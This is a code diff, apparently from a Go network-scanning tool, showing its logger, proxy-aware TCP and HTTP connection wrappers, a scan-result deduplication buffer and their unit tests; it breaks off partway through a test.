if l.coordinatedOutput != nil {
// 使用协调输出(与进度条配合)
if l.config.EnableColor {
if colorAttr, ok := l.config.LevelColors[level]; ok {
if attr, ok := colorAttr.(color.Attribute); ok {
coloredMsg := color.New(attr).Sprint(logMsg)
l.coordinatedOutput(coloredMsg)
return
}
}
}
l.coordinatedOutput(logMsg)
} else {
// 直接输出
if l.config.EnableColor {
if colorAttr, ok := l.config.LevelColors[level]; ok {
if attr, ok := colorAttr.(color.Attribute); ok {
_, _ = color.New(attr).Println(logMsg)
return
}
}
}
fmt.Println(logMsg)
}
}
// formatElapsedTime 格式化经过的时间
func (l *Logger) formatElapsedTime(elapsed time.Duration) string {
switch {
case elapsed < MaxMillisecondDisplay:
return fmt.Sprintf("%dms", elapsed.Milliseconds())
case elapsed < MaxSecondDisplay:
return fmt.Sprintf("%.1fs", elapsed.Seconds())
case elapsed < MaxMinuteDisplay:
minutes := int(elapsed.Minutes())
seconds := int(elapsed.Seconds()) % 60
return fmt.Sprintf("%dm%ds", minutes, seconds)
default:
hours := int(elapsed.Hours())
minutes := int(elapsed.Minutes()) % 60
seconds := int(elapsed.Seconds()) % 60
return fmt.Sprintf("%dh%dm%ds", hours, minutes, seconds)
}
}
// getLevelPrefix 获取日志级别前缀
func (l *Logger) getLevelPrefix(level LogLevel) string {
switch level {
case LevelDebug:
return PrefixDebug
case LevelInfo:
return PrefixInfo
case LevelSuccess:
return PrefixSuccess
case LevelVuln:
return PrefixVuln
case LevelError:
return PrefixError
default:
return PrefixInfo // 默认使用 Info 前缀
}
}
+652
View File
@@ -0,0 +1,652 @@
package logging
import (
"fmt"
"strings"
"sync"
"testing"
"time"
)
/*
logger_test.go - 日志系统测试
测试目标Logger核心功能
价值日志是程序的眼睛错误会导致
- 关键信息丢失用户看不到错误
- 性能问题并发日志混乱
- 调试困难时间格式错误
"日志不是可选功能日志丢失或错误等于程序在撒谎
测试必须验证过滤正确格式正确并发安全"
*/
// =============================================================================
// 测试辅助函数
// =============================================================================
// captureOutput 捕获日志输出(不污染控制台)
type captureOutput struct {
mu sync.Mutex
output []string
}
func (c *captureOutput) Write(msg string) {
c.mu.Lock()
defer c.mu.Unlock()
c.output = append(c.output, msg)
}
func (c *captureOutput) Get() []string {
c.mu.Lock()
defer c.mu.Unlock()
result := make([]string, len(c.output))
copy(result, c.output)
return result
}
func (c *captureOutput) Clear() {
c.mu.Lock()
defer c.mu.Unlock()
c.output = nil
}
// createTestLogger 创建测试用Logger(捕获输出)
func createTestLogger(level LogLevel, enableColor bool) (*Logger, *captureOutput) {
capture := &captureOutput{}
config := &LoggerConfig{
Level: level,
EnableColor: enableColor,
SlowOutput: false, // 测试时禁用慢速输出
ShowProgress: false,
StartTime: time.Now(),
LevelColors: GetDefaultLevelColors(),
}
logger := NewLogger(config)
logger.SetCoordinatedOutput(capture.Write)
return logger, capture
}
// =============================================================================
// Logger - 基础功能测试
// =============================================================================
// TestNewLogger_DefaultConfig 测试默认配置
func TestNewLogger_DefaultConfig(t *testing.T) {
// nil配置应该使用默认值
logger := NewLogger(nil)
if logger == nil {
t.Fatal("NewLogger(nil) 应该返回有效的logger")
}
if logger.config == nil {
t.Error("config不应为nil(应使用默认配置)")
}
if logger.config.Level != DefaultLevel {
t.Errorf("默认Level = %v, want %v", logger.config.Level, DefaultLevel)
}
if !logger.initialized {
t.Error("logger应该已初始化")
}
t.Logf("✓ 默认配置测试通过")
}
// TestNewLogger_CustomConfig 测试自定义配置
func TestNewLogger_CustomConfig(t *testing.T) {
config := &LoggerConfig{
Level: LevelError,
EnableColor: false,
SlowOutput: true,
ShowProgress: false,
StartTime: time.Now(),
LevelColors: GetDefaultLevelColors(),
}
logger := NewLogger(config)
if logger.config.Level != LevelError {
t.Errorf("Level = %v, want %v", logger.config.Level, LevelError)
}
if logger.config.EnableColor {
t.Error("EnableColor应该为false")
}
t.Logf("✓ 自定义配置测试通过")
}
// TestLogger_AllLevels 测试所有日志级别
//
// 验证:每个级别都能正确输出
func TestLogger_AllLevels(t *testing.T) {
logger, capture := createTestLogger(LevelAll, false)
tests := []struct {
name string
logFunc func(string)
message string
wantMsg string
wantPfx string
}{
{
name: "Debug级别",
logFunc: logger.Debug,
message: "debug message",
wantMsg: "debug message",
wantPfx: PrefixDebug,
},
{
name: "Base级别",
logFunc: logger.Base,
message: "base message",
wantMsg: "base message",
wantPfx: PrefixInfo, // Base 已废弃,默认使用 Info 前缀
},
{
name: "Info级别",
logFunc: logger.Info,
message: "info message",
wantMsg: "info message",
wantPfx: PrefixInfo,
},
{
name: "Success级别",
logFunc: logger.Success,
message: "success message",
wantMsg: "success message",
wantPfx: PrefixSuccess,
},
{
name: "Error级别",
logFunc: logger.Error,
message: "error message",
wantMsg: "error message",
wantPfx: PrefixError,
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
capture.Clear()
tt.logFunc(tt.message)
output := capture.Get()
if len(output) != 1 {
t.Fatalf("期望1条输出,实际%d条", len(output))
}
msg := output[0]
if !strings.Contains(msg, tt.wantMsg) {
t.Errorf("输出缺少消息: %s\n实际: %s", tt.wantMsg, msg)
}
if !strings.Contains(msg, tt.wantPfx) {
t.Errorf("输出缺少前缀: %s\n实际: %s", tt.wantPfx, msg)
}
// 验证输出格式:前缀 + 空格 + 消息
if !strings.HasPrefix(msg, tt.wantPfx) {
t.Errorf("输出应该以前缀开头: %s\n实际: %s", tt.wantPfx, msg)
}
t.Logf("✓ %s 输出正确: %s", tt.name, msg)
})
}
}
// =============================================================================
// Logger - 级别过滤测试
// =============================================================================
// TestLogger_LevelFiltering 测试日志级别过滤
//
// 验证:不同级别配置下,只输出对应级别的日志
func TestLogger_LevelFiltering(t *testing.T) {
tests := []struct {
name string
configLevel LogLevel
logLevels map[string]func(*Logger, string)
wantOutput map[string]bool // true表示应该输出
}{
{
name: "LevelAll - 显示所有",
configLevel: LevelAll,
logLevels: map[string]func(*Logger, string){
"debug": (*Logger).Debug,
"base": (*Logger).Base,
"info": (*Logger).Info,
"success": (*Logger).Success,
"error": (*Logger).Error,
},
wantOutput: map[string]bool{
"debug": true, "base": true, "info": true,
"success": true, "error": true,
},
},
{
name: "LevelError - 仅错误",
configLevel: LevelError,
logLevels: map[string]func(*Logger, string){
"info": (*Logger).Info,
"error": (*Logger).Error,
},
wantOutput: map[string]bool{
"info": false, "error": true,
},
},
{
name: "LevelInfoSuccess - 信息和成功",
configLevel: LevelInfoSuccess,
logLevels: map[string]func(*Logger, string){
"base": (*Logger).Base,
"info": (*Logger).Info,
"success": (*Logger).Success,
"error": (*Logger).Error,
},
wantOutput: map[string]bool{
"base": false, "info": true,
"success": true, "error": true, // Error 始终显示(层级设计)
},
},
{
name: "LevelBaseInfoSuccess - 基础、信息和成功",
configLevel: LevelBaseInfoSuccess,
logLevels: map[string]func(*Logger, string){
"debug": (*Logger).Debug,
"base": (*Logger).Base,
"info": (*Logger).Info,
"success": (*Logger).Success,
},
wantOutput: map[string]bool{
"debug": false, "base": true,
"info": true, "success": true,
},
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
logger, capture := createTestLogger(tt.configLevel, false)
for levelName, logFunc := range tt.logLevels {
capture.Clear()
logFunc(logger, levelName+" message")
output := capture.Get()
shouldOutput := tt.wantOutput[levelName]
if shouldOutput && len(output) == 0 {
t.Errorf("%s: 应该输出但没有输出", levelName)
}
if !shouldOutput && len(output) > 0 {
t.Errorf("%s: 不应该输出但输出了: %v", levelName, output)
}
}
t.Logf("✓ %s 过滤测试通过", tt.name)
})
}
}
// =============================================================================
// Logger - 时间格式化测试
// =============================================================================
// TestLogger_TimeFormatting 测试时间格式化函数
//
// 验证:formatElapsedTime 对不同时长格式化正确(毫秒、秒、分钟、小时)
func TestLogger_TimeFormatting(t *testing.T) {
tests := []struct {
name string
elapsed time.Duration
wantStr string
}{
{
name: "0毫秒",
elapsed: 0,
wantStr: "0ms",
},
{
name: "500毫秒",
elapsed: 500 * time.Millisecond,
wantStr: "500ms",
},
{
name: "999毫秒",
elapsed: 999 * time.Millisecond,
wantStr: "999ms",
},
{
name: "1秒",
elapsed: 1 * time.Second,
wantStr: "1.0s",
},
{
name: "30秒",
elapsed: 30 * time.Second,
wantStr: "30.0s",
},
{
name: "59秒",
elapsed: 59 * time.Second,
wantStr: "59.0s",
},
{
name: "1分钟",
elapsed: 1 * time.Minute,
wantStr: "1m0s",
},
{
name: "5分30秒",
elapsed: 5*time.Minute + 30*time.Second,
wantStr: "5m30s",
},
{
name: "59分59秒",
elapsed: 59*time.Minute + 59*time.Second,
wantStr: "59m59s",
},
{
name: "1小时",
elapsed: 1 * time.Hour,
wantStr: "1h0m0s",
},
{
name: "2小时30分45秒",
elapsed: 2*time.Hour + 30*time.Minute + 45*time.Second,
wantStr: "2h30m45s",
},
}
// 直接测试 formatElapsedTime 函数
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
logger := NewLogger(nil)
result := logger.formatElapsedTime(tt.elapsed)
if result != tt.wantStr {
t.Errorf("时间格式错误\n期望: %s\n实际: %s", tt.wantStr, result)
}
t.Logf("✓ %s → %s", tt.name, result)
})
}
}
// =============================================================================
// Logger - 并发安全测试
// =============================================================================
// TestLogger_ConcurrentLogging 测试并发日志输出
//
// 验证:多个goroutine同时写日志不会panic或丢失
func TestLogger_ConcurrentLogging(t *testing.T) {
logger, capture := createTestLogger(LevelAll, false)
numGoroutines := 100
logsPerGoroutine := 10
totalLogs := numGoroutines * logsPerGoroutine
var wg sync.WaitGroup
wg.Add(numGoroutines)
// 并发写入不同级别的日志
for i := 0; i < numGoroutines; i++ {
go func(id int) {
defer wg.Done()
for j := 0; j < logsPerGoroutine; j++ {
msg := fmt.Sprintf("goroutine-%d-log-%d", id, j)
// 随机使用不同级别
switch j % 5 {
case 0:
logger.Debug(msg)
case 1:
logger.Info(msg)
case 2:
logger.Success(msg)
case 3:
logger.Error(msg)
case 4:
logger.Base(msg)
}
}
}(i)
}
wg.Wait()
// 验证输出数量
output := capture.Get()
if len(output) != totalLogs {
t.Errorf("期望%d条日志,实际%d条(数据丢失或重复)",
totalLogs, len(output))
}
// 验证每条日志格式正确(前缀可能是 "[" 或空格)
for i, line := range output {
if !strings.HasPrefix(line, "[") && !strings.HasPrefix(line, " ") {
t.Errorf("第%d条日志格式错误: %s", i+1, line)
break
}
}
t.Logf("✓ 并发日志测试通过(%d个goroutine,共%d条日志)",
numGoroutines, totalLogs)
}
// TestLogger_NoCoordinatedOutput 测试无协调输出的情况
//
// 验证:coordinatedOutput为nil时,使用fmt.Println(不会panic
func TestLogger_NoCoordinatedOutput(t *testing.T) {
config := &LoggerConfig{
Level: LevelAll,
EnableColor: false,
StartTime: time.Now(),
}
logger := NewLogger(config)
// 不设置 coordinatedOutput
// 应该不会panic(会使用fmt.Println
defer func() {
if r := recover(); r != nil {
t.Errorf("不应该panic: %v", r)
}
}()
logger.Info("test message")
t.Logf("✓ 无协调输出测试通过(使用fmt.Println")
}
// =============================================================================
// Logger - 高级功能测试(提升覆盖率)
// =============================================================================
// TestLogger_SingleLevels 测试单独级别配置
//
// 验证:层级过滤 - 设置一个级别后,显示该级别及以上的日志,Error始终显示
func TestLogger_SingleLevels(t *testing.T) {
tests := []struct {
name string
configLevel LogLevel
testLevels map[string]func(*Logger, string)
wantOutput map[string]bool
}{
{
name: "LevelDebug - 显示所有",
configLevel: LevelDebug,
testLevels: map[string]func(*Logger, string){
"debug": (*Logger).Debug,
"base": (*Logger).Base,
"info": (*Logger).Info,
"success": (*Logger).Success,
"error": (*Logger).Error,
},
wantOutput: map[string]bool{
"debug": true, "base": true, "info": true,
"success": true, "error": true, // 层级过滤:Debug(0)及以上全显示
},
},
{
name: "LevelBase - 基础及以上",
configLevel: LevelBase,
testLevels: map[string]func(*Logger, string){
"debug": (*Logger).Debug,
"base": (*Logger).Base,
"info": (*Logger).Info,
},
wantOutput: map[string]bool{
"debug": false, "base": true, "info": true, // 层级过滤:Base(1)及以上
},
},
{
name: "LevelInfo - 信息及以上",
configLevel: LevelInfo,
testLevels: map[string]func(*Logger, string){
"base": (*Logger).Base,
"info": (*Logger).Info,
},
wantOutput: map[string]bool{
"base": false, "info": true, // 层级过滤:Info(2)及以上
},
},
{
name: "LevelSuccess - 成功及以上",
configLevel: LevelSuccess,
testLevels: map[string]func(*Logger, string){
"info": (*Logger).Info,
"success": (*Logger).Success,
},
wantOutput: map[string]bool{
"info": false, "success": true, // 层级过滤:Success(3)及以上
},
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
logger, capture := createTestLogger(tt.configLevel, false)
for levelName, logFunc := range tt.testLevels {
capture.Clear()
logFunc(logger, levelName+" message")
output := capture.Get()
shouldOutput := tt.wantOutput[levelName]
if shouldOutput && len(output) == 0 {
t.Errorf("%s: 应该输出但没有输出", levelName)
}
if !shouldOutput && len(output) > 0 {
t.Errorf("%s: 不应该输出但输出了: %v", levelName, output)
}
}
t.Logf("✓ %s 测试通过", tt.name)
})
}
}
// TestLogger_ColorOutput 测试颜色输出
//
// 验证:EnableColor开关正确控制颜色输出
func TestLogger_ColorOutput(t *testing.T) {
t.Run("禁用颜色", func(t *testing.T) {
logger, capture := createTestLogger(LevelAll, false)
logger.Info("test")
output := capture.Get()
if len(output) == 0 {
t.Fatal("应该有输出")
}
// 无颜色时,输出就是纯文本
if strings.Contains(output[0], "\033[") {
t.Error("禁用颜色时不应该包含ANSI转义序列")
}
t.Logf("✓ 禁用颜色测试通过")
})
t.Run("启用颜色", func(t *testing.T) {
logger, capture := createTestLogger(LevelAll, true)
logger.Info("test")
output := capture.Get()
if len(output) == 0 {
t.Fatal("应该有输出")
}
// 启用颜色时,输出可能包含颜色(取决于终端支持)
// 但不会panic
t.Logf("✓ 启用颜色测试通过: %s", output[0])
})
}
// TestLogger_BackwardCompatibility 测试向后兼容性
//
// 验证:LevelAll 等同于 LevelDebug,显示所有级别
func TestLogger_BackwardCompatibility(t *testing.T) {
config := &LoggerConfig{
Level: LevelAll, // LevelAll 是 LevelDebug 的别名
EnableColor: false,
ShowProgress: false,
StartTime: time.Now(),
LevelColors: GetDefaultLevelColors(),
}
logger := NewLogger(config)
capture := &captureOutput{}
logger.SetCoordinatedOutput(capture.Write)
// LevelAll 应该显示所有级别
logger.Debug("debug msg")
logger.Info("info msg")
logger.Error("error msg")
output := capture.Get()
if len(output) != 3 {
t.Errorf("LevelAll应该显示所有级别,期望3条,实际%d条", len(output))
}
t.Logf("✓ 向后兼容测试通过(LevelAll显示所有级别)")
}
// TestLogger_Initialize 测试初始化标记
//
// 验证:Initialize方法正确设置initialized标志
func TestLogger_Initialize(t *testing.T) {
config := &LoggerConfig{
Level: LevelAll,
EnableColor: false,
ShowProgress: false,
StartTime: time.Now(),
LevelColors: GetDefaultLevelColors(),
}
// 手动创建logger,跳过NewLogger中的自动初始化
logger := &Logger{
config: config,
initialized: false, // 明确设置为false
}
// 验证初始状态
if logger.initialized {
t.Error("新创建的logger不应该已初始化")
}
// 调用Initialize
logger.Initialize()
// 验证已初始化
if !logger.initialized {
t.Error("调用Initialize后应该已初始化")
}
t.Logf("✓ Initialize测试通过")
}
+183
View File
@@ -0,0 +1,183 @@
package common
/*
network.go - 统一网络操作包装器
提供便捷的网络连接API自动处理发包限制检查代理和统计
*/
import (
"context"
"fmt"
"net"
"net/http"
"net/url"
"strings"
"sync"
"time"
"github.com/shadow1ng/fscan/common/proxy"
)
// =============================================================================
// 全局代理管理器(复用连接,避免重复创建)
// =============================================================================
var (
globalProxyOnce sync.Once
globalProxyDialer proxy.Dialer
globalProxyInitErr error
)
// getGlobalDialer 获取全局拨号器(线程安全,只初始化一次)
func getGlobalDialer(timeout time.Duration) (proxy.Dialer, error) {
globalProxyOnce.Do(func() {
// 创建代理配置
config := createProxyConfig(timeout)
// 创建代理管理器
manager := proxy.NewProxyManager(config)
// 创建拨号器
globalProxyDialer, globalProxyInitErr = manager.GetDialer()
})
return globalProxyDialer, globalProxyInitErr
}
// =============================================================================
// 代理配置
// =============================================================================
// parseProxyURL 解析代理URL,提取地址和认证信息
func parseProxyURL(proxyURL, fallback string) (host, username, password string) {
parsedURL, err := url.Parse(proxyURL)
if err != nil {
return fallback, "", ""
}
host = parsedURL.Host
if parsedURL.User != nil {
username = parsedURL.User.Username()
password, _ = parsedURL.User.Password()
}
return
}
// createProxyConfig 根据全局设置创建代理配置
func createProxyConfig(timeout time.Duration) *proxy.ProxyConfig {
fv := GetFlagVars()
config := proxy.DefaultProxyConfig()
config.Timeout = timeout
config.LocalAddr = fv.Iface // 设置本地网卡IP地址
// 优先使用SOCKS5代理
if fv.Socks5Proxy != "" {
config.Type = proxy.ProxyTypeSOCKS5
// 确保有协议前缀以便解析
socks5URL := fv.Socks5Proxy
if !strings.HasPrefix(socks5URL, "socks5://") {
socks5URL = "socks5://" + socks5URL
}
config.Address, config.Username, config.Password = parseProxyURL(socks5URL, fv.Socks5Proxy)
return config
}
// 其次使用HTTP代理
if fv.HTTPProxy != "" {
if strings.HasPrefix(fv.HTTPProxy, "https://") {
config.Type = proxy.ProxyTypeHTTPS
} else {
config.Type = proxy.ProxyTypeHTTP
}
config.Address, config.Username, config.Password = parseProxyURL(fv.HTTPProxy, fv.HTTPProxy)
return config
}
// 无代理配置,使用直连
config.Type = proxy.ProxyTypeNone
return config
}
// =============================================================================
// TCP 连接
// =============================================================================
// Deprecated: WrapperTcpWithTimeout 仅供 mylib/grdp 兼容使用,新代码请用 ScanSession.DialTCP
//
//nolint:revive
func WrapperTcpWithTimeout(network, address string, timeout time.Duration) (net.Conn, error) {
// 检查发包限制 - 在代理连接前进行控制
if canSend, reason := CanSendPacket(); !canSend {
LogError(fmt.Sprintf("TCP连接 %s 受限: %s", address, reason))
return nil, fmt.Errorf("发包受限: %s", reason)
}
// 获取全局拨号器(复用,避免重复创建)
dialer, err := getGlobalDialer(timeout)
if err != nil {
LogError(fmt.Sprintf("获取代理拨号器失败: %v", err))
GetGlobalState().IncrementTCPFailedPacketCount()
return nil, err
}
// 使用代理拨号器连接
conn, err := dialer.DialContext(context.Background(), network, address)
// 统计TCP包数量 - 无论是否使用代理都要计数
if err != nil {
GetGlobalState().IncrementTCPFailedPacketCount()
LogDebug(fmt.Sprintf("连接 %s 失败: %v", address, err))
return nil, err
}
// 连接成功,统计成功包
GetGlobalState().IncrementTCPSuccessPacketCount()
return conn, nil
}
// SafeTCPDial TCP连接的便捷封装
// 直接调用WrapperTcpWithTimeout,自动处理发包限制、代理和统计
func SafeTCPDial(address string, timeout time.Duration) (net.Conn, error) {
return WrapperTcpWithTimeout("tcp", address, timeout)
}
// =============================================================================
// HTTP 请求
// =============================================================================
// IsProxyEnabled 检查是否启用了代理(封装proxy包的函数)
func IsProxyEnabled() bool {
return proxy.IsProxyEnabled()
}
// IsProxyReliable 检查代理是否可靠(不存在全回显问题)
func IsProxyReliable() bool {
return proxy.IsProxyReliable()
}
// IsSOCKS5Proxy 检查当前代理是否为SOCKS5类型
func IsSOCKS5Proxy() bool {
return proxy.IsSOCKS5Proxy()
}
// SafeHTTPDo 带发包控制的HTTP请求
func SafeHTTPDo(client *http.Client, req *http.Request) (*http.Response, error) {
// 检查发包限制
if canSend, reason := CanSendPacket(); !canSend {
LogError(fmt.Sprintf("HTTP请求 %s 受限: %s", req.URL.String(), reason))
return nil, fmt.Errorf("发包受限: %s", reason)
}
// 执行HTTP请求
resp, err := client.Do(req)
// 统计TCP包数量 (HTTP本质上是TCP)
if err != nil {
GetGlobalState().IncrementTCPFailedPacketCount()
} else {
GetGlobalState().IncrementTCPSuccessPacketCount()
}
return resp, err
}
+183
View File
@@ -0,0 +1,183 @@
package output
import (
"fmt"
"sync"
)
// ResultBuffer 公共的去重缓冲逻辑,供各Writer复用
type ResultBuffer struct {
mu sync.Mutex
// 分类缓冲
HostResults []*ScanResult
PortResults []*ScanResult
ServiceResults []*ScanResult
VulnResults []*ScanResult
// 去重map
seenHosts map[string]struct{}
seenPorts map[string]struct{}
seenServices map[string]int // 存储索引,用于更新更完整的记录
seenVulns map[string]struct{}
}
// NewResultBuffer 创建新的结果缓冲
func NewResultBuffer() *ResultBuffer {
return &ResultBuffer{
seenHosts: make(map[string]struct{}),
seenPorts: make(map[string]struct{}),
seenServices: make(map[string]int),
seenVulns: make(map[string]struct{}),
}
}
// Add 添加结果到缓冲(自动去重)
func (b *ResultBuffer) Add(result *ScanResult) {
b.mu.Lock()
defer b.mu.Unlock()
if result == nil {
return
}
key := b.generateKey(result)
switch result.Type {
case TypeHost:
if _, exists := b.seenHosts[key]; !exists {
b.seenHosts[key] = struct{}{}
b.HostResults = append(b.HostResults, result)
}
case TypePort:
if _, exists := b.seenPorts[key]; !exists {
b.seenPorts[key] = struct{}{}
b.PortResults = append(b.PortResults, result)
}
case TypeService:
if idx, exists := b.seenServices[key]; !exists {
b.seenServices[key] = len(b.ServiceResults)
b.ServiceResults = append(b.ServiceResults, result)
} else {
b.mergeDetails(b.ServiceResults[idx], result)
// 保留信息更完整的记录,同时保留另一条记录补充的字段
if b.isMoreComplete(result, b.ServiceResults[idx]) {
b.ServiceResults[idx] = result
}
}
case TypeVuln:
if _, exists := b.seenVulns[key]; !exists {
b.seenVulns[key] = struct{}{}
b.VulnResults = append(b.VulnResults, result)
}
}
}
func (b *ResultBuffer) mergeDetails(oldResult, newResult *ScanResult) {
if oldResult == nil || newResult == nil {
return
}
if oldResult.Details == nil {
oldResult.Details = make(map[string]interface{})
}
if newResult.Details == nil {
newResult.Details = make(map[string]interface{})
}
for k, v := range oldResult.Details {
if _, exists := newResult.Details[k]; !exists {
newResult.Details[k] = v
}
}
for k, v := range newResult.Details {
if _, exists := oldResult.Details[k]; !exists {
oldResult.Details[k] = v
}
}
}
// generateKey 生成结果的唯一键(用于去重)
func (b *ResultBuffer) generateKey(result *ScanResult) string {
switch result.Type {
case TypeHost:
return result.Target
case TypePort:
if result.Details != nil {
if port, ok := result.Details["port"]; ok {
return fmt.Sprintf("%s:%v", result.Target, port)
}
}
return result.Target
case TypeService:
return result.Target
case TypeVuln:
return result.Target + "|" + result.Status
default:
return result.Target + "|" + result.Status
}
}
// isMoreComplete 判断新记录是否比旧记录信息更完整
func (b *ResultBuffer) isMoreComplete(newResult, oldResult *ScanResult) bool {
return b.CalculateCompleteness(newResult) > b.CalculateCompleteness(oldResult)
}
// CalculateCompleteness 计算记录的信息完整度
func (b *ResultBuffer) CalculateCompleteness(result *ScanResult) int {
score := 0
if result.Details == nil {
return score
}
// 有 status 码加分
if status, ok := result.Details["status"]; ok && status != nil && status != 0 {
score += 2
}
// 有 server 加分
if server, ok := result.Details["server"].(string); ok && server != "" {
score += 2
}
// 有 title 加分
if title, ok := result.Details["title"].(string); ok && title != "" {
score += 1
}
// 有指纹加分
if fps := result.Details["fingerprints"]; fps != nil {
switch v := fps.(type) {
case []string:
if len(v) > 0 {
score += 3
}
case []interface{}:
if len(v) > 0 {
score += 3
}
}
}
// 有 banner 加分
if banner, ok := result.Details["banner"].(string); ok && banner != "" {
score += 1
}
return score
}
// Summary 获取统计摘要
func (b *ResultBuffer) Summary() (hosts, ports, services, vulns int) {
b.mu.Lock()
defer b.mu.Unlock()
return len(b.HostResults), len(b.PortResults), len(b.ServiceResults), len(b.VulnResults)
}
// Clear 清空缓冲
func (b *ResultBuffer) Clear() {
b.mu.Lock()
defer b.mu.Unlock()
b.HostResults = nil
b.PortResults = nil
b.ServiceResults = nil
b.VulnResults = nil
b.seenHosts = make(map[string]struct{})
b.seenPorts = make(map[string]struct{})
b.seenServices = make(map[string]int)
b.seenVulns = make(map[string]struct{})
}
+475
View File
@@ -0,0 +1,475 @@
package output
import (
"fmt"
"sync"
"testing"
)
/*
buffer_test.go - ResultBuffer 高价值测试
测试重点
1. 去重逻辑 - 不同结果类型的去重策略差异
2. 完整度评分 - 决定是否替换已有服务记录
3. 并发安全 - 多goroutine同时Add
*/
// =============================================================================
// 基本去重测试
// =============================================================================
// TestResultBuffer_HostDeduplication 测试主机去重
func TestResultBuffer_HostDeduplication(t *testing.T) {
buf := NewResultBuffer()
// 添加相同主机多次
for i := 0; i < 10; i++ {
buf.Add(&ScanResult{
Type: TypeHost,
Target: "192.168.1.1",
Status: "alive",
})
}
hosts, _, _, _ := buf.Summary()
if hosts != 1 {
t.Errorf("主机应去重为1个,实际 %d", hosts)
}
}
// TestResultBuffer_PortDeduplication 测试端口去重
func TestResultBuffer_PortDeduplication(t *testing.T) {
buf := NewResultBuffer()
// 相同IP:Port应去重
for i := 0; i < 5; i++ {
buf.Add(&ScanResult{
Type: TypePort,
Target: "192.168.1.1",
Details: map[string]interface{}{"port": 80},
})
}
// 不同端口不去重
buf.Add(&ScanResult{
Type: TypePort,
Target: "192.168.1.1",
Details: map[string]interface{}{"port": 443},
})
_, ports, _, _ := buf.Summary()
if ports != 2 {
t.Errorf("端口应有2个(80和443),实际 %d", ports)
}
}
// TestResultBuffer_ServiceDeduplication 测试服务去重
func TestResultBuffer_ServiceDeduplication(t *testing.T) {
buf := NewResultBuffer()
// 相同Target的服务应去重
buf.Add(&ScanResult{
Type: TypeService,
Target: "192.168.1.1:80",
Status: "http",
})
buf.Add(&ScanResult{
Type: TypeService,
Target: "192.168.1.1:80",
Status: "nginx",
})
_, _, services, _ := buf.Summary()
if services != 1 {
t.Errorf("相同Target的服务应去重为1个,实际 %d", services)
}
}
// TestResultBuffer_VulnDeduplication 测试漏洞去重
func TestResultBuffer_VulnDeduplication(t *testing.T) {
buf := NewResultBuffer()
// 相同Target+Status的漏洞应去重
for i := 0; i < 3; i++ {
buf.Add(&ScanResult{
Type: TypeVuln,
Target: "192.168.1.1:445",
Status: "MS17-010",
})
}
// 不同漏洞不去重
buf.Add(&ScanResult{
Type: TypeVuln,
Target: "192.168.1.1:445",
Status: "CVE-2020-0796",
})
_, _, _, vulns := buf.Summary()
if vulns != 2 {
t.Errorf("漏洞应有2个,实际 %d", vulns)
}
}
// =============================================================================
// 完整度评分测试
// =============================================================================
// TestResultBuffer_CompletenessScore 测试完整度评分
func TestResultBuffer_CompletenessScore(t *testing.T) {
buf := NewResultBuffer()
tests := []struct {
name string
result *ScanResult
expectedScore int
}{
{
name: "空Details",
result: &ScanResult{Details: nil},
expectedScore: 0,
},
{
name: "只有status",
result: &ScanResult{Details: map[string]interface{}{"status": 200}},
expectedScore: 2,
},
{
name: "有server",
result: &ScanResult{Details: map[string]interface{}{"server": "nginx/1.18.0"}},
expectedScore: 2,
},
{
name: "有title",
result: &ScanResult{Details: map[string]interface{}{"title": "Welcome"}},
expectedScore: 1,
},
{
name: "有指纹-[]string",
result: &ScanResult{Details: map[string]interface{}{"fingerprints": []string{"nginx"}}},
expectedScore: 3,
},
{
name: "有指纹-[]interface{}",
result: &ScanResult{Details: map[string]interface{}{"fingerprints": []interface{}{"apache", "php"}}},
expectedScore: 3,
},
{
name: "有banner",
result: &ScanResult{Details: map[string]interface{}{"banner": "SSH-2.0-OpenSSH"}},
expectedScore: 1,
},
{
name: "完整记录",
result: &ScanResult{
Details: map[string]interface{}{
"status": 200,
"server": "nginx",
"title": "Home",
"fingerprints": []string{"nginx", "php"},
"banner": "test",
},
},
expectedScore: 9, // 2+2+1+3+1
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
score := buf.CalculateCompleteness(tt.result)
if score != tt.expectedScore {
t.Errorf("完整度评分 = %d, 期望 %d", score, tt.expectedScore)
}
})
}
}
// TestResultBuffer_ServiceUpdate 测试服务记录更新
//
// 当新记录比旧记录更完整时,应该替换
func TestResultBuffer_ServiceUpdate(t *testing.T) {
buf := NewResultBuffer()
// 先添加简单记录
buf.Add(&ScanResult{
Type: TypeService,
Target: "192.168.1.1:80",
Status: "http",
Details: map[string]interface{}{},
})
// 再添加更完整的记录
buf.Add(&ScanResult{
Type: TypeService,
Target: "192.168.1.1:80",
Status: "http",
Details: map[string]interface{}{
"status": 200,
"server": "nginx/1.18.0",
"title": "Welcome",
"fingerprints": []string{"nginx", "php"},
},
})
_, _, services, _ := buf.Summary()
if services != 1 {
t.Fatal("服务数量应为1")
}
// 验证是更完整的记录
if buf.ServiceResults[0].Details == nil {
t.Fatal("Details不应为nil")
}
if buf.ServiceResults[0].Details["server"] != "nginx/1.18.0" {
t.Error("应保留更完整的记录")
}
}
func TestResultBuffer_ServiceUpdateMergesDetails(t *testing.T) {
buf := NewResultBuffer()
buf.Add(&ScanResult{
Type: TypeService,
Target: "192.168.1.1:80",
Status: "identified",
Details: map[string]interface{}{
"service": "http",
"banner": "HTTP/1.1 200 OK",
},
})
buf.Add(&ScanResult{
Type: TypeService,
Target: "192.168.1.1:80",
Status: "web",
Details: map[string]interface{}{
"title": "Home",
"status": 200,
"server": "nginx",
},
})
if len(buf.ServiceResults) != 1 {
t.Fatalf("期望1条服务记录,实际 %d", len(buf.ServiceResults))
}
details := buf.ServiceResults[0].Details
for _, key := range []string{"service", "banner", "title", "status", "server"} {
if _, ok := details[key]; !ok {
t.Errorf("合并后的服务记录缺少字段 %q: %#v", key, details)
}
}
}
// TestResultBuffer_ServiceNoDowngrade 测试不降级服务记录
//
// 当新记录不如旧记录完整时,不应替换
func TestResultBuffer_ServiceNoDowngrade(t *testing.T) {
buf := NewResultBuffer()
// 先添加完整记录
buf.Add(&ScanResult{
Type: TypeService,
Target: "192.168.1.1:80",
Status: "http",
Details: map[string]interface{}{
"status": 200,
"server": "nginx/1.18.0",
"fingerprints": []string{"nginx"},
},
})
// 再添加简单记录
buf.Add(&ScanResult{
Type: TypeService,
Target: "192.168.1.1:80",
Status: "http",
Details: map[string]interface{}{},
})
// 验证仍保留完整记录
